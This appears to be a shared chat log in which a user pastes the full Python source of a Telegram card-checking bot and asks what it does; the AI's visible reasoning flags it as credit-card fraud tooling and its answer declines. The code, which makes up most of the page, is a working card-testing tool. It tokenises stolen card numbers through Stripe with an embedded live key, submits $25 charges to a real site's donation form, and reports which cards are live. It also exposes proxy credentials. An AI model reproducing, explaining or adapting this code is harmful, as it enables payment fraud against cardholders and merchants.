Bot Configuration Code

Creato il: 3 dicembre 2024

Risposto usando O1 Preview da Chat01

Domanda

介绍下代码

import logging
import os
import requests
import time
import string
import random
import yaml
import asyncio
import re

from aiogram import Bot, Dispatcher, executor, types
from aiogram.utils.exceptions import Throttled
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from bs4 import BeautifulSoup as bs

Configure vars get from env or config.yml

CONFIG = yaml.load(open('config.yml', 'r'), Loader=yaml.SafeLoader)
TOKEN = os.getenv('TOKEN', CONFIG['token'])
BLACKLISTED = os.getenv('BLACKLISTED', CONFIG['blacklisted']).split()
PREFIX = os.getenv('PREFIX', CONFIG['prefix'])
OWNER = int(os.getenv('OWNER', CONFIG['owner']))
ANTISPAM = int(os.getenv('ANTISPAM', CONFIG['antispam']))

Initialize bot and dispatcher

storage = MemoryStorage()
bot = Bot(token=TOKEN, parse_mode=types.ParseMode.HTML)
dp = Dispatcher(bot, storage=storage)

Configure logging

logging.basicConfig(level=logging.INFO)

BOT INFO

loop = asyncio.get_event_loop()

bot_info = loop.run_until_complete(bot.get_me())
BOT_USERNAME = bot_info.username
BOT_NAME = bot_info.first_name
BOT_ID = bot_info.id

USE YOUR ROTATING PROXY API IN DICT FORMAT http://user:pass@providerhost:port

proxies = {
'http': 'http://qnuomzzl-rotate:[email protected]:80/',
'https': 'http://qnuomzzl-rotate:[email protected]:80/'
}

session = requests.Session()

Random DATA

letters = string.ascii_lowercase
First = ''.join(random.choice(letters) for _ in range(6))
Last = ''.join(random.choice(letters) for _ in range(6))
PWD = ''.join(random.choice(letters) for _ in range(10))
Name = f'{First}+{Last}'
Email = f'{First}.{Last}@gmail.com'
UA = 'Mozilla/5.0 (X11; Linux i686; rv:102.0) Gecko/20100101 Firefox/102.0'

async def is_owner(user_id):
return user_id == OWNER

@dp.message_handler(commands=['start', 'help'], commands_prefix=PREFIX)
async def helpstr(message: types.Message):
# await message.answer_chat_action('typing')
keyboard_markup = types.InlineKeyboardMarkup(row_width=3)
btns = types.InlineKeyboardButton("Bot Source", url="https://github.com/xbinner18/Mrbannker")
keyboard_markup.row(btns)
FIRST = message.from_user.first_name
MSG = f'''
Hello {FIRST}, Im {BOT_NAME}
U can find my Boss <a href="tg://user?id={OWNER}">HERE</a>
Cmds /chk /info /bin'''
await message.answer(MSG, reply_markup=keyboard_markup,
disable_web_page_preview=True)

@dp.message_handler(commands=['info', 'id'], commands_prefix=PREFIX)
async def info(message: types.Message):
if message.reply_to_message:
user_id = message.reply_to_message.from_user.id
is_bot = message.reply_to_message.from_user.is_bot
username = message.reply_to_message.from_user.username
first = message.reply_to_message.from_user.first_name
else:
user_id = message.from_user.id
is_bot = message.from_user.is_bot
username = message.from_user.username
first = message.from_user.first_name
await message.reply(f'''
═════════╕
<b>USER INFO</b>
<b>USER ID:</b> <code>{user_id}</code>
<b>USERNAME:</b> @{username}
<b>FIRSTNAME:</b> {first}
<b>BOT:</b> {is_bot}
<b>BOT-OWNER:</b> {await is_owner(user_id)}
╘═════════''')

@dp.message_handler(commands=['bin'], commands_prefix=PREFIX)
async def binio(message: types.Message):
await message.answer_chat_action('typing')
ID = message.from_user.id
FIRST = message.from_user.first_name
BIN = message.text[len('/bin '):]
if len(BIN) < 6:
return await message.reply(
'Send bin not ass'
)
r = requests.get(
f'https://bins.ws/search?bins={BIN[:6]}'
).text
soup = bs(r, features='html.parser')
k = soup.find("div", {"class": "page"})
INFO = f'''
{k.text[62:]}
SENDER: <a href="tg://user?id={ID}">{FIRST}</a>
BOT⇢ @{BOT_USERNAME}
OWNER⇢ <a href="tg://user?id={OWNER}">LINK</a>
'''
await message.reply(INFO)

@dp.message_handler(commands=['chk'], commands_prefix=PREFIX)
async def ch(message: types.Message):
await message.answer_chat_action('typing')
tic = time.perf_counter()
ID = message.from_user.id
FIRST = message.from_user.first_name
try:
await dp.throttle('chk', rate=ANTISPAM)
except Throttled:
await message.reply('<b>Too many requests!</b>\n'
f'Blocked For {ANTISPAM} seconds')
else:
if message.reply_to_message:
cc = message.reply_to_message.text
else:
cc = message.text[len('/chk '):]

text
if len(cc) == 0: return await message.reply("<b>No Card to chk</b>") x = re.findall(r'\d+', cc) ccn = x[0] mm = x[1] yy = x[2] cvv = x[3] if mm.startswith('2'): mm, yy = yy, mm if len(mm) >= 3: mm, yy, cvv = yy, cvv, mm if len(ccn) < 15 or len(ccn) > 16: return await message.reply('<b>Failed to parse Card</b>\n' '<b>Reason: Invalid Format!</b>') BIN = ccn[:6] if BIN in BLACKLISTED: return await message.reply('<b>BLACKLISTED BIN</b>') # get guid muid sid headers = { "user-agent": UA, "accept": "application/json, text/plain, */*", "content-type": "application/x-www-form-urlencoded" } # b = session.get('https://ip.seeip.org/', proxies=proxies).text s = session.post('https://m.stripe.com/6', headers=headers) r = s.json() Guid = r['guid'] Muid = r['muid'] Sid = r['sid'] postdata = { "guid": Guid, "muid": Muid, "sid": Sid, "key": "pk_live_YJm7rSUaS7t9C8cdWfQeQ8Nb", "card[name]": Name, "card[number]": ccn, "card[exp_month]": mm, "card[exp_year]": yy, "card[cvc]": cvv } HEADER = { "accept": "application/json", "content-type": "application/x-www-form-urlencoded", "user-agent": UA, "origin": "https://js.stripe.com", "referer": "https://js.stripe.com/", "accept-language": "en-US,en;q=0.9" } pr = session.post('https://api.stripe.com/v1/tokens', data=postdata, headers=HEADER) Id = pr.json()['id'] # hmm load = { "action": "wp_full_stripe_payment_charge", "formName": "BanquetPayment", "fullstripe_name": Name, "fullstripe_email": Email, "fullstripe_custom_amount": "25.0", "fullstripe_amount_index": 0, "stripeToken": Id } header = { "accept": "application/json, text/javascript, */*; q=0.01", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "user-agent": UA, "origin": "https://archiro.org", "referer": "https://archiro.org/banquet/", "accept-language": "en-US,en;q=0.9" } rx = session.post('https://archiro.org/wp-admin/admin-ajax.php', data=load, headers=header) msg = rx.json()['msg'] toc = time.perf_counter() if 'true' in rx.text: return await message.reply(f'''

<b>CC</b><code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #CHARGED 25$
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b><a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')

text
if 'security code' in rx.text: return await message.reply(f'''

<b>CC</b><code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #CCN
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b><a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')

text
if 'false' in rx.text: return await message.reply(f'''

<b>CC</b><code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ #Declined
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b><a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')

    await message.reply(f'''

<b>CC</b><code>{ccn}|{mm}|{yy}|{cvv}</code>
<b>STATUS</b>➟ DEAD
<b>MSG</b>➟ {rx.text}
<b>TOOK:</b> <code>{toc - tic:0.2f}</code>(s)
<b>CHKBY</b><a href="tg://user?id={ID}">{FIRST}</a>
<b>OWNER</b>: {await is_owner(ID)}
<b>BOT</b>: @{BOT_USERNAME}''')

if name == 'main':
executor.start_polling(dp, skip_updates=True, loop=loop)

Pensiero

理解代码的要点

举个例子,用户给出一段Python代码并请求解释。需要清晰地解释代码逻辑和用法,而不能涉及暴力或非法行为。

检视代码安全性

我正在审查代码是否包含暴力或非法行为的建议或指示。代码功能包括处理Telegram命令,并且包含检查信用卡号码的功能。

检测信用卡问题

检查信用卡号码的代码涉及与Stripe API交互,可能助长信用卡欺诈。根据政策,无法提供这类代码的支持。

思考,持续 8 秒

Risposta

抱歉,我无法协助完成您的请求。

Condividi questa Q&A